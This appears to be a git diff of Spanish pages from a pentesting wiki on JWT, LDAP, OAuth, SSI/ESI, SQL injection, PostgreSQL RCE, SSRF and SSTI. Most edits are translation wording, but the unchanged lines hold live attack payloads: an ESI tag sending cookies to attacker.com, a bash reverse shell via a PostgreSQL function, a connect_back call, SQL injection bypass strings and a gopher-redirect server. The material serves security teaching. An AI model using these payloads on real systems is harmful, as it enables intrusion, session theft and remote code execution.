- Un problema crítico puede ser indicado por la aceptación de tu token, lo que podría permitir la suplantación de la cuenta de cualquier usuario. Sin embargo, se debe tener en cuenta que puede ser necesario obtener permiso para pruebas más amplias si se registra en una aplicación de terceros, ya que esto podría entrar en un área legal gris.
**Verificación de expiración de tokens**
**Expiry Check of Tokens**
La expiración del token se verifica utilizando el reclamo "exp" en el Payload. Dado que los JWT a menudo se emplean sin información de sesión, se requiere un manejo cuidadoso. En muchas instancias, capturar y reproducir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando el reclamo "exp" para establecer un tiempo de expiración para el token. Además, la implementación de verificaciones relevantes por parte de la aplicación para asegurar el procesamiento de este valor y el rechazo de tokens expirados es crucial. Si el token incluye un reclamo "exp" y los límites de tiempo de prueba lo permiten, se aconseja almacenar el token y reproducirlo después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo el análisis de la marca de tiempo y la verificación de expiración (marca de tiempo en UTC), puede ser leído utilizando la bandera -R de jwt_tool.
La expiración del token se verifica utilizando el reclamo "exp" en el Payload. Dado que los JWT a menudo se emplean sin información de sesión, se requiere un manejo cuidadoso. En muchas instancias, capturar y reproducir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando el reclamo "exp" para establecer un tiempo de expiración para el token. Además, es crucial la implementación de verificaciones relevantes por parte de la aplicación para asegurar el procesamiento de este valor y el rechazo de tokens expirados. Si el token incluye un reclamo "exp" y los límites de tiempo de prueba lo permiten, se aconseja almacenar el token y reproducirlo después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo el análisis de la marca de tiempo y la verificación de expiración (marca de tiempo en UTC), se puede leer utilizando la bandera -R de jwt_tool.
- Puede haber un riesgo de seguridad si la aplicación aún valida el token, ya que esto podría implicar que el token nunca podría expirar.
### Herramientas
{% embed url="https://github.com/ticarpi/jwt_tool" %}
### Tools
{{#ref}}
https://github.com/ticarpi/jwt_tool
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

8
src/pentesting-web/ldap-injection.md
View File

@ -4,7 +4,6 @@
{{#include ../banners/hacktricks-training.md}}
## LDAP Injection
### **LDAP**
@ -57,7 +56,7 @@ Luego: `(&(objectClass=`**`*)(ObjectClass=*))`** será el primer filtro (el que
### Login Bypass
LDAP soporta varios formatos para almacenar la contraseña: claro, md5, smd5, sh1, sha, crypt. Por lo tanto, podría ser que independientemente de lo que insertes dentro de la contraseña, esté hashada.
LDAP soporta varios formatos para almacenar la contraseña: claro, md5, smd5, sh1, sha, crypt. Así que, podría ser que independientemente de lo que insertes dentro de la contraseña, esté hasheada.
```bash
user=*
password=*
@ -204,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
```
### Más Payloads
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

20
src/pentesting-web/oauth-to-account-takeover.md
View File

@ -2,7 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## Información Básica <a href="#d4a8" id="d4a8"></a>
OAuth ofrece varias versiones, con información fundamental accesible en [OAuth 2.0 documentation](https://oauth.net/2/). Esta discusión se centra principalmente en el ampliamente utilizado [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), proporcionando un **marco de autorización que permite a una aplicación acceder o realizar acciones en la cuenta de un usuario en otra aplicación** (el servidor de autorización).
@ -31,7 +30,7 @@ Es esencial comprender los siguientes componentes dentro del marco de OAuth 2.0:
El **flujo real de OAuth** procede de la siguiente manera:
1. Navegas a [https://example.com](https://example.com) y seleccionas el botón “Integrar con Redes Sociales”.
2. El sitio luego envía una solicitud a [https://socialmedia.com](https://socialmedia.com) pidiendo tu autorización para permitir que la aplicación de https://example.com acceda a tus publicaciones. La solicitud se estructura como:
2. El sitio luego envía una solicitud a [https://socialmedia.com](https://socialmedia.com) pidiendo tu autorización para permitir que la aplicación de https://example.com acceda a tus publicaciones. La solicitud está estructurada como:
```
https://socialmedia.com/auth
?response_type=code
@ -146,20 +145,22 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
```
Para obtener información más detallada sobre cómo abusar de AWS cognito, consulta:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
{{#endref}}
### Abusando de otros tokens de Apps <a href="#bda5" id="bda5"></a>
Como [**se menciona en este informe**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), los flujos de OAuth que esperan recibir el **token** (y no un código) podrían ser vulnerables si no verifican que el token pertenece a la aplicación.
Esto se debe a que un **atacante** podría crear una **aplicación que soporte OAuth y login con Facebook** (por ejemplo) en su propia aplicación. Luego, una vez que una víctima inicie sesión con Facebook en la **aplicación del atacante**, el atacante podría obtener el **token OAuth del usuario otorgado a su aplicación y usarlo para iniciar sesión en la aplicación OAuth de la víctima usando el token de usuario de la víctima**.
Esto se debe a que un **atacante** podría crear una **aplicación que soporte OAuth y login con Facebook** (por ejemplo) en su propia aplicación. Luego, una vez que una víctima inicia sesión con Facebook en la **aplicación del atacante**, el atacante podría obtener el **token OAuth del usuario otorgado a su aplicación y usarlo para iniciar sesión en la aplicación OAuth de la víctima usando el token de usuario de la víctima**.
> [!CAUTION]
> Por lo tanto, si el atacante logra que el usuario acceda a su propia aplicación OAuth, podrá tomar el control de la cuenta de la víctima en aplicaciones que esperan un token y no verifican si el token fue otorgado a su ID de aplicación.
### Dos enlaces y cookie <a href="#bda5" id="bda5"></a>
Según [**este informe**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), era posible hacer que una víctima abriera una página con un **returnUrl** apuntando al host del atacante. Esta información se **almacenaría en una cookie (RU)** y en un **paso posterior** el **prompt** **preguntará** al **usuario** si desea dar acceso a ese host del atacante.
Según [**este informe**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), era posible hacer que una víctima abriera una página con un **returnUrl** apuntando al host del atacante. Esta información sería **almacenada en una cookie (RU)** y en un **paso posterior** el **prompt** **preguntará** al **usuario** si desea dar acceso a ese host del atacante.
Para eludir este prompt, era posible abrir una pestaña para iniciar el **flujo de Oauth** que establecería esta cookie RU usando el **returnUrl**, cerrar la pestaña antes de que se muestre el prompt y abrir una nueva pestaña sin ese valor. Entonces, el **prompt no informará sobre el host del atacante**, pero la cookie se establecería en él, por lo que el **token se enviará al host del atacante** en la redirección.
@ -197,18 +198,18 @@ El Registro Dinámico de Clientes en OAuth sirve como un vector menos obvio pero
**Puntos Clave:**
- El **Registro Dinámico de Clientes** a menudo se mapea a `/register` y acepta detalles como `client_name`, `client_secret`, `redirect_uris`, y URLs para logotipos o Conjuntos de Claves Web JSON (JWKs) a través de solicitudes POST.
- **Registro Dinámico de Clientes** a menudo se mapea a `/register` y acepta detalles como `client_name`, `client_secret`, `redirect_uris`, y URLs para logotipos o Conjuntos de Claves Web JSON (JWKs) a través de solicitudes POST.
- Esta característica se adhiere a las especificaciones establecidas en **RFC7591** y **OpenID Connect Registration 1.0**, que incluyen parámetros potencialmente vulnerables a SSRF.
- El proceso de registro puede exponer inadvertidamente a los servidores a SSRF de varias maneras:
- El proceso de registro puede inadvertidamente exponer servidores a SSRF de varias maneras:
- **`logo_uri`**: Una URL para el logotipo de la aplicación cliente que podría ser recuperada por el servidor, activando SSRF o llevando a XSS si la URL se maneja incorrectamente.
- **`jwks_uri`**: Una URL al documento JWK del cliente, que si se elabora maliciosamente, puede causar que el servidor realice solicitudes salientes a un servidor controlado por un atacante.
- **`jwks_uri`**: Una URL al documento JWK del cliente, que si se elabora maliciosamente, puede hacer que el servidor realice solicitudes salientes a un servidor controlado por un atacante.
- **`sector_identifier_uri`**: Hace referencia a un array JSON de `redirect_uris`, que el servidor podría recuperar, creando una oportunidad de SSRF.
- **`request_uris`**: Enumera las URIs de solicitud permitidas para el cliente, que pueden ser explotadas si el servidor recupera estas URIs al inicio del proceso de autorización.
**Estrategia de Explotación:**
- SSRF puede ser activado registrando un nuevo cliente con URLs maliciosas en parámetros como `logo_uri`, `jwks_uri`, o `sector_identifier_uri`.
- Si bien la explotación directa a través de `request_uris` puede ser mitigada por controles de lista blanca, proporcionar un `request_uri` controlado por un atacante previamente registrado puede facilitar SSRF durante la fase de autorización.
- Si bien la explotación directa a través de `request_uris` puede ser mitigada por controles de lista blanca, proporcionar un `request_uri` pre-registrado y controlado por el atacante puede facilitar SSRF durante la fase de autorización.
## Condiciones de Carrera de Proveedores OAuth
@ -219,5 +220,4 @@ Si la plataforma que estás probando es un proveedor de OAuth [**lee esto para p
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
{{#include ../banners/hacktricks-training.md}}

12
src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
View File

@ -15,11 +15,11 @@ Y, cuando se sirve la página, este fragmento será evaluado y reemplazado por s
`Tuesday, 15-Jan-2013 19:28:54 EST`
La decisión de cuándo usar SSI y cuándo hacer que tu página sea generada completamente por algún programa, generalmente depende de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeñas piezas de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se genera en el momento en que se sirve, necesitas buscar alguna otra solución.
La decisión de cuándo usar SSI y cuándo hacer que tu página sea generada completamente por algún programa, generalmente es una cuestión de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeños fragmentos de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se está generando en el momento en que se sirve, necesitas buscar alguna otra solución.
Puedes inferir la presencia de SSI si la aplicación web utiliza archivos con la extensión&#x73;**`.shtml`, `.shtm` o `.stm`**, pero no es solo el caso.
Una expresión SSI típica tiene el siguiente formato:
Una expresión típica de SSI tiene el siguiente formato:
```
<!--#directive param="value" -->
```
@ -54,7 +54,7 @@ Una expresión SSI típica tiene el siguiente formato:
<!--#set var="name" value="Rich" -->
```
## Inclusión del Lado del Edge
## Inclusión Lateral de Contenido
Hay un problema **con el almacenamiento en caché de información o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Para esto se utiliza **ESI**, para indicar mediante etiquetas ESI el **contenido dinámico que necesita ser generado** antes de enviar la versión en caché.\
Si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios.
@ -122,7 +122,7 @@ Use <!--esi--> to bypass WAFs:
```
#### Robar Cookie
- Robo de cookie remoto
- Robar cookie de forma remota
```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
@ -207,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
## Lista de Detección de Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

35
src/pentesting-web/sql-injection/README.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## ¿Qué es la inyección SQL?
Una **inyección SQL** es una falla de seguridad que permite a los atacantes **interferir con las consultas de la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o denegación de servicio.
@ -94,7 +93,7 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
En algunos casos, las **funciones de sleep no estarán permitidas**. Entonces, en lugar de usar esas funciones, podrías hacer que la consulta **realice operaciones complejas** que tardarán varios segundos. _Ejemplos de estas técnicas se comentarán por separado en cada tecnología (si las hay)_.
En algunos casos, las **funciones de sleep no estarán permitidas**. Entonces, en lugar de usar esas funciones, podrías hacer que la consulta **realice operaciones complejas** que tomarán varios segundos. _Ejemplos de estas técnicas se comentarán por separado en cada tecnología (si las hay)_.
### Identificación del Back-end
@ -133,9 +132,11 @@ También, si tienes acceso a la salida de la consulta, podrías hacer que **impr
### Identificando con PortSwigger
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## Explotando Basado en Union
## Explotando Basado en Unión
### Detectando el número de columnas
@ -196,7 +197,7 @@ Una vez que se ha extraído la consulta, es necesario adaptar su carga útil par
Para obtener información más completa, consulte el artículo completo disponible en [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Explotando Basado en Errores
## Explotando Basada en Errores
Si por alguna razón **no puede** ver la **salida** de la **consulta** pero puede **ver los mensajes de error**, puede hacer que estos mensajes de error **exfiltren** datos de la base de datos.\
Siguiendo un flujo similar al de la explotación basada en unión, podría lograr volcar la base de datos.
@ -224,7 +225,7 @@ En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la
```
## Consultas Apiladas
Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, aunque las consultas subsiguientes se ejecutan, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica es principalmente útil en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para activar una búsqueda DNS, un error condicional o un retraso de tiempo.
Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, aunque las consultas posteriores se ejecutan, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica es principalmente útil en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para activar una búsqueda DNS, un error condicional o un retraso de tiempo.
**Oracle** no soporta **consultas apiladas.** **MySQL, Microsoft** y **PostgreSQL** las soportan: `QUERY-1-HERE; QUERY-2-HERE`
@ -266,7 +267,7 @@ Lista para intentar eludir la funcionalidad de inicio de sesión:
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Esta consulta muestra una vulnerabilidad cuando se utiliza MD5 con verdadero para la salida en bruto en las verificaciones de autenticación, lo que hace que el sistema sea susceptible a inyecciones SQL. Los atacantes pueden explotar esto creando entradas que, cuando se hash, producen partes inesperadas de comandos SQL, lo que lleva a un acceso no autorizado.
Esta consulta muestra una vulnerabilidad cuando se utiliza MD5 con verdadero para la salida en bruto en las verificaciones de autenticación, lo que hace que el sistema sea susceptible a inyecciones SQL. Los atacantes pueden explotar esto creando entradas que, al ser hasheadas, producen partes inesperadas de comandos SQL, lo que lleva a un acceso no autorizado.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -317,7 +318,7 @@ Para hacerlo, debes intentar **crear un nuevo objeto llamado como el "objeto mae
Si la base de datos es vulnerable y el número máximo de caracteres para el nombre de usuario es, por ejemplo, 30 y deseas suplantar al usuario **admin**, intenta crear un nombre de usuario llamado: "_admin \[30 espacios] a_" y cualquier contraseña.
La base de datos **verificará** si el **nombre de usuario** introducido **existe** dentro de la base de datos. Si **no**, **cortará** el **nombre de usuario** al **número máximo permitido de caracteres** (en este caso a: "_admin \[25 espacios]_") y luego **eliminará automáticamente todos los espacios al final actualizando** dentro de la base de datos al usuario "**admin**" con la **nueva contraseña** (puede aparecer algún error, pero eso no significa que no haya funcionado).
La base de datos **verificará** si el **nombre de usuario** introducido **existe** dentro de la base de datos. Si **no**, **cortará** el **nombre de usuario** al **número máximo permitido de caracteres** (en este caso a: "_admin \[25 espacios]_") y luego **eliminará automáticamente todos los espacios al final actualizando** dentro de la base de datos al usuario "**admin**" con la **nueva contraseña** (puede aparecer algún error, pero no significa que esto no haya funcionado).
Más información: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
@ -331,7 +332,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en la PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta función para modificar la contraseña de una cuenta de administrador:
La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en una PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta función para modificar la contraseña de una cuenta de administrador:
Ejemplo de Inyección de Payload:
@ -392,7 +393,7 @@ Ejemplo:
### Bypass sin espacios
Sin espacio (%20) - bypass utilizando alternativas de espacio en blanco
No Space (%20) - bypass utilizando alternativas de espacio en blanco
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -401,7 +402,7 @@ Sin espacio (%20) - bypass utilizando alternativas de espacio en blanco
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
No espacio en blanco - eludir usando comentarios
Sin Espacios - eludir usando comentarios
```sql
?id=1/*comment*/and/**/1=1/**/--
```
@ -444,14 +445,14 @@ Básicamente, puedes usar la notación científica de maneras inesperadas para e
```
### Bypass Column Names Restriction
Primero que nada, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas** podrías simplemente hacer: `0 UNION SELECT * FROM flag`
Primero que nada, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas** puedes simplemente hacer: `0 UNION SELECT * FROM flag`
Es posible **acceder a la tercera columna de una tabla sin usar su nombre** utilizando una consulta como la siguiente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, así que en una sqlinjection esto se vería así:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
O utilizando un **bypass de coma**:
O usando un **bypass de coma**:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
@ -460,7 +461,9 @@ Este truco fue tomado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-
### Herramientas sugeridoras de bypass de WAF
{% embed url="https://github.com/m4ll0k/Atlas" %}
{{#ref}}
https://github.com/m4ll0k/Atlas
{{#endref}}
## Otras Guías
@ -469,7 +472,9 @@ Este truco fue tomado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-
## Lista de Detección de Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
​
{{#include ../../banners/hacktricks-training.md}}

14
src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
View File

@ -1,4 +1,4 @@
# RCE con Extensiones de PostgreSQL
# RCE con extensiones de PostgreSQL
{{#include ../../../banners/hacktricks-training.md}}
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
<summary>Escribir archivo binario desde base64</summary>
Para escribir un binario en un archivo en postgres, es posible que necesites usar base64, esto será útil para ese asunto:
Para escribir un binario en un archivo en postgres, es posible que necesites usar base64, esto será útil para ese propósito:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@ -81,7 +81,7 @@ Este error se explica en la [documentación de PostgreSQL](https://www.postgresq
> `PG_MODULE_MAGIC;`\
> `#endif`
Desde la versión 8.2 de PostgreSQL, el proceso para que un atacante explote el sistema se ha vuelto más desafiante. Se requiere que el atacante utilice una biblioteca que ya esté presente en el sistema o que suba una biblioteca personalizada. Esta biblioteca personalizada debe estar compilada contra la versión principal compatible de PostgreSQL y debe incluir un "bloque mágico" específico. Esta medida aumenta significativamente la dificultad de explotar sistemas PostgreSQL, ya que requiere una comprensión más profunda de la arquitectura del sistema y la compatibilidad de versiones.
Desde la versión 8.2 de PostgreSQL, el proceso para que un atacante explote el sistema se ha vuelto más desafiante. Se requiere que el atacante utilice una biblioteca que ya esté presente en el sistema o que suba una biblioteca personalizada. Esta biblioteca personalizada debe ser compilada contra la versión principal compatible de PostgreSQL y debe incluir un "bloque mágico" específico. Esta medida aumenta significativamente la dificultad de explotar sistemas PostgreSQL, ya que requiere una comprensión más profunda de la arquitectura del sistema y la compatibilidad de versiones.
#### Compilar la biblioteca
@ -121,7 +121,9 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
```
Puedes encontrar esta **biblioteca precompilada** para varias versiones diferentes de PostgreSQL e incluso puedes **automatizar este proceso** (si tienes acceso a PostgreSQL) con:
{% embed url="https://github.com/Dionach/pgexec" %}
{{#ref}}
https://github.com/Dionach/pgexec
{{#endref}}
### RCE en Windows
@ -277,10 +279,10 @@ Una vez que hayas subido la extensión (con el nombre de poc.dll para este ejemp
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_Tenga en cuenta que no necesita agregar la extensión `.dll`, ya que la función de creación la añadirá._
_Tenga en cuenta que no necesita agregar la extensión `.dll` ya que la función de creación la añadirá._
Para más información **lea la** [**publicación original aquí**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
En esa publicación **este fue el** [**código utilizado para generar la extensión de postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender a compilar una extensión de postgres, lea cualquiera de las versiones anteriores_).\
En esa publicación **este fue el** [**código utilizado para generar la extensión de postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender cómo compilar una extensión de postgres, lea cualquiera de las versiones anteriores_).\
En la misma página se **proporcionó este exploit para automatizar** esta técnica:
```python
#!/usr/bin/env python3

12
src/pentesting-web/ssrf-server-side-request-forgery/README.md
View File

@ -129,11 +129,11 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## SSRF con Inyección de Comandos
Podría valer la pena probar una carga útil como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
Puede valer la pena probar una carga útil como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
## Renderización de PDFs
Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes **insertar algún JS que será ejecutado por el creador de PDF** (el servidor) mientras se crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes **insertar algo de JS que será ejecutado por el creador de PDFs** (el servidor) mientras se crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## De SSRF a DoS
@ -149,7 +149,7 @@ Consulta la siguiente página para funciones PHP vulnerables e incluso funciones
## Redirección SSRF a Gopher
Para algunas explotaciones, podrías necesitar **enviar una respuesta de redirección** (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos en python para responder con una redirección:
Para algunas explotaciones, es posible que necesites **enviar una respuesta de redirección** (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos en python para responder con una redirección:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -179,7 +179,7 @@ return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%4
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```
## Proxies mal configurados para SSRF
## Proxies mal configurados a SSRF
Trucos [**de esta publicación**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
@ -341,7 +341,9 @@ SSRF Proxy es un servidor proxy HTTP multihilo diseñado para canalizar el tráf
### Para practicar
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
{{#ref}}
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
{{#endref}}
## Referencias

12
src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
View File

@ -159,12 +159,14 @@ La herramienta [**recollapse**](https://github.com/0xacb/recollapse) puede gener
Consulta la [**hoja de trucos para eludir la validación de URL**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) de portswigger donde puedes introducir el host permitido y el del atacante, y generará una lista de URLs para que pruebes. También considera si puedes usar la URL en un parámetro, en un encabezado Host o en un encabezado CORS.
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
{{#endref}}
### Bypass a través de redirección
Puede ser posible que el servidor esté **filtrando la solicitud original** de un SSRF **pero no** una posible **respuesta de redirección** a esa solicitud.\
Por ejemplo, un servidor vulnerable a SSRF a través de: `url=https://www.google.com/` podría estar **filtrando el parámetro url**. Pero si usas un [servidor python para responder con un 302](https://pastebin.com/raw/ywAUhFrv) al lugar donde deseas redirigir, podrías ser capaz de **acceder a direcciones IP filtradas** como 127.0.0.1 o incluso a **protocolos** filtrados como gopher.\
Es posible que el servidor esté **filtrando la solicitud original** de un SSRF **pero no** una posible **respuesta de redirección** a esa solicitud.\
Por ejemplo, un servidor vulnerable a SSRF a través de: `url=https://www.google.com/` podría estar **filtrando el parámetro url**. Pero si usas un [servidor python para responder con un 302](https://pastebin.com/raw/ywAUhFrv) al lugar donde deseas redirigir, podrías **acceder a direcciones IP filtradas** como 127.0.0.1 o incluso a **protocolos** filtrados como gopher.\
[Consulta este informe.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -194,9 +196,9 @@ El _truco de barra invertida_ explota una diferencia entre el [WHATWG URL Standa
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)
### Corchete cuadrado izquierdo
### Corchete izquierdo
El carácter “corchete cuadrado izquierdo” `[` en el segmento de información del usuario puede hacer que el UriComponentsBuilder de Spring devuelva un valor de nombre de host que difiere de los navegadores: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
El carácter “corchete izquierdo” `[` en el segmento de información del usuario puede hacer que el UriComponentsBuilder de Spring devuelva un valor de nombre de host que difiere de los navegadores: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
### Otras Confusiones

21
src/pentesting-web/ssti-server-side-template-injection/README.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## ¿Qué es SSTI (Inyección de Plantillas del Lado del Servidor)?
La inyección de plantillas del lado del servidor es una vulnerabilidad que ocurre cuando un atacante puede inyectar código malicioso en una plantilla que se ejecuta en el servidor. Esta vulnerabilidad se puede encontrar en varias tecnologías, incluyendo Jinja.
@ -28,7 +27,7 @@ Para detectar la Inyección de Plantillas del Lado del Servidor (SSTI), inicialm
- Errores lanzados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
- Ausencia del payload en la reflexión, o partes de él faltantes, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.
- **Contexto de Texto Plano**: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`).
- **Contexto de Código**: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiando `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
- **Contexto de Código**: Confirmar la vulnerabilidad alterando parámetros de entrada. Por ejemplo, cambiando `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
#### Fase de Identificación
